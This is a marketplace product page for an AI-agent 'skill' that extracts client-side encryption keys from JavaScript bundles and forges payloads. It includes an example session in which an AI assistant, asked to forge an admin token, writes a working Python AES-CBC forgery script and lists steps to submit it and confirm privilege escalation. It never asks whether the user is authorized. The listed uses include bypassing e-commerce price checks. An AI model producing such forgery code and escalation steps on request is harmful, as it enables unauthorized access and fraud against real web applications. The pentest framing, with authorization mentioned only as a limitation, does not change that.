Works with the AI Agents you already use

    Claude CodeClaude CodeCursorCursorCodex CLICodex CLIDeepSeekDeepSeekMuseMuse+22 more

    client side crypto forgery

    1

    Extract client-side crypto keys from JS bundles to forge valid payloads and test server-side trust.

    $5

    Secure checkout via Stripe

    Money-back guarantee

    Converts to your local currency at checkout

    Security scanned
    client side crypto forgery

    client side crypto forgery

    Example session with this skill installed

    I found a JS bundle using CryptoJS.AES with a hardcoded string 'v3ry-s3cr3t-k3y'. It encrypts a JSON object {user_id: 101, role: 'guest'}. Re-implement this so I can forge an admin payload.

    • Read your context and instructions
    • Compiled the client side crypto

    Analyzed the CryptoJS implementation. The client uses AES-CBC with a SHA256-derived key and a fixed 16-byte IV. I have re-implemented the scheme in Python and prepared an administrative payload.

    Cryptographic Forgery Implementation

    The following script derives the key from the discovered string, replicates the CBC padding, and generates a forged payload.

    import json
    import base64
    from cryptography.hazmat.primitives import padding
    from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
    from cryptography.hazmat.backends import default_backend
    import hashlib
    
    def forge_admin_payload(secret_string, target_data):
        # Replicating client-side derivation: SHA256 of the secret string
        key = hashlib.sha256(secret_string.encode()).digest()
        
        # Client uses a fixed IV (common in broken implementations)
        # If the IV is random, it is usually prepended to the ciphertext
        iv = b'\x00' * 16 
        
        # Prepare data
        data_bytes = json.dumps(target_data).encode()
        
        # Add PKCS7 padding as expected by CryptoJS AES
        padder = padding.PKCS7(128).padder()
        padded_data = padder.update(data_bytes) + padder.finalize()
        
        # Encrypt
        cipher = Cipher(algorithms.AES(key), modes.CBC(iv), backend=default_backend())
        encryptor = cipher.encryptor()
        ct = encryptor.update(padded_data) + encryptor.finalize()
        
        # Return Base64 encoded string for submission
        return base64.b64encode(ct).decode()
    
    # Configuration
    SECRET = "v3ry-s3cr3t-k3y"
    ADMIN_PAYLOAD = {"user_id": 101, "role": "admin"}
    
    forged_token = forge_admin_payload(SECRET, ADMIN_PAYLOAD)
    print(f"Forged Token: {forged_token}")
    
    ComponentValue / Setting
    AlgorithmAES-256-CBC
    Key DerivationSHA256(secret_string)
    PaddingPKCS7
    IV SourceStatic (16 null bytes)
    Target Fieldx-encrypted-auth header

    Next steps

    1. Run the script and verify the output length matches legitimate intercepted tokens.
    2. Submit the forged token via Burp Suite or cURL while maintaining a valid session cookie.
    3. Check the application response for a 200 OK or administrative menu items to confirm escalation.

    Connects securely to your tools. The creator never sees your data.

    About this skill

    The problem

    Web applications often rely on client-side encryption or signing to protect data, assuming the browser is a trusted environment. If the cryptographic keys or derivation logic are shipped in the JavaScript bundles, the security model is compromised, allowing attackers to manipulate protected data.

    What it does

    • Scans application JavaScript bundles to identify cryptographic libraries like CryptoJS, JSEncrypt, or WebCrypto.
    • Locates embedded keys, hex/base64 literals, and derivation functions (e.g., SHA256-hashed passphrases).
    • Reverse-engineers the encryption scheme including algorithms (AES-GCM, CBC), IV generation, and output encoding.
    • Re-implements the logic in Python to verify round-trip encryption/decryption against legitimate traffic.
    • Generates forged payloads to test server-side trust in hidden fields like roles, prices, and user IDs.

    Frameworks & tools

    Python (cryptography library), JavaScript DevTools, CryptoJS, AES-GCM, SHA256, and Base64 encoding.

    Why this beats prompting it yourself

    Most LLMs struggle to maintain the strict binary and encoding precision required for cryptographic forgery, often hallucinating padding or IV lengths. This skill provides a systematic methodology for extracting keys from obfuscated JS and ensures the re-implementation is verified before deployment.

    Use cases

    • Penetration testing of SPAs that sign form data in the browser.
    • Bypassing client-side integrity checks on e-commerce price fields.
    • Escalating privileges by modifying encrypted role claims in local storage.
    • Testing server-side resilience against stored XSS in encrypted fields.

    Known limitations

    Requires authorized engagement environments. Does not handle keys stored in Hardware Security Modules (HSMs) or Secure Enclaves. Effectiveness is limited if keys are rotated per-session via backend-only OOB channels.

    Find more skills like this on the Claude Skills Marketplace, the Codex Skills Marketplace and the Gemini Skills Marketplace, or browse Claude Skills for Security.

    Requires authorized engagement. Limited if keys are rotated per-session via backend OOB channels or stored in HSMs. Requires the Python cryptography library for re-implementation.

    How to use

    1. 1

      Connect your agent to the Agensi MCP

      Copy the prompt and paste it into Claude, ChatGPT, Cursor or any agent that supports MCP. It sets up the connection for you. Manual setup

    2. 2

      Sign in to Agensi

      Your agent shows a sign-in link. Sign in and click Allow.

    3. 3

      Ask for what you need

      Your agent loads this skill and uses it on your task. It always asks before buying a skill.

    Reviews

    No reviews yet

    Be one of the first to try it. Every listed skill goes through the trust checks below.

    Security scanned

    Checked by our 8-point scan before listing

    Fresh listing

    Recently published to Agensi

    Money-back guarantee

    Doesn't do what its page promises? You get your money back.

    Trust & safety

    Security scan

    Security scan passed 8 days ago

    Permissions

    Write Files
    Listed2 months ago
    Updated8 days ago

    What's inside

    Frequently Asked Questions

    This skill automates the discovery and extraction of cryptographic keys hidden within JavaScript bundles, allowing you to re-create the encryption logic in Python to test if a server blindly trusts client-signed data.

    It is designed for any Python-based AI agent capable of executing scripts and supports common libraries including CryptoJS, JSEncrypt, and standard WebCrypto implementations.

    You will receive the core logic for JS bundle analysis, a suite of Python-based re-implementation templates for various algorithms like AES-GCM and RSA, and a systematic workflow for payload verification.

    No, this skill is specifically designed to extract hardcoded keys, hex literals, and derivation logic embedded in frontend code; it cannot bypass keys stored in hardware-backed Secure Enclaves.

    Updates are provided periodically to include support for new obfuscation techniques and emerging JavaScript encryption libraries as the web security landscape evolves.

    Setting up requires a Python environment with the 'cryptography' library installed and access to the target application's public JavaScript source files.

    New in Security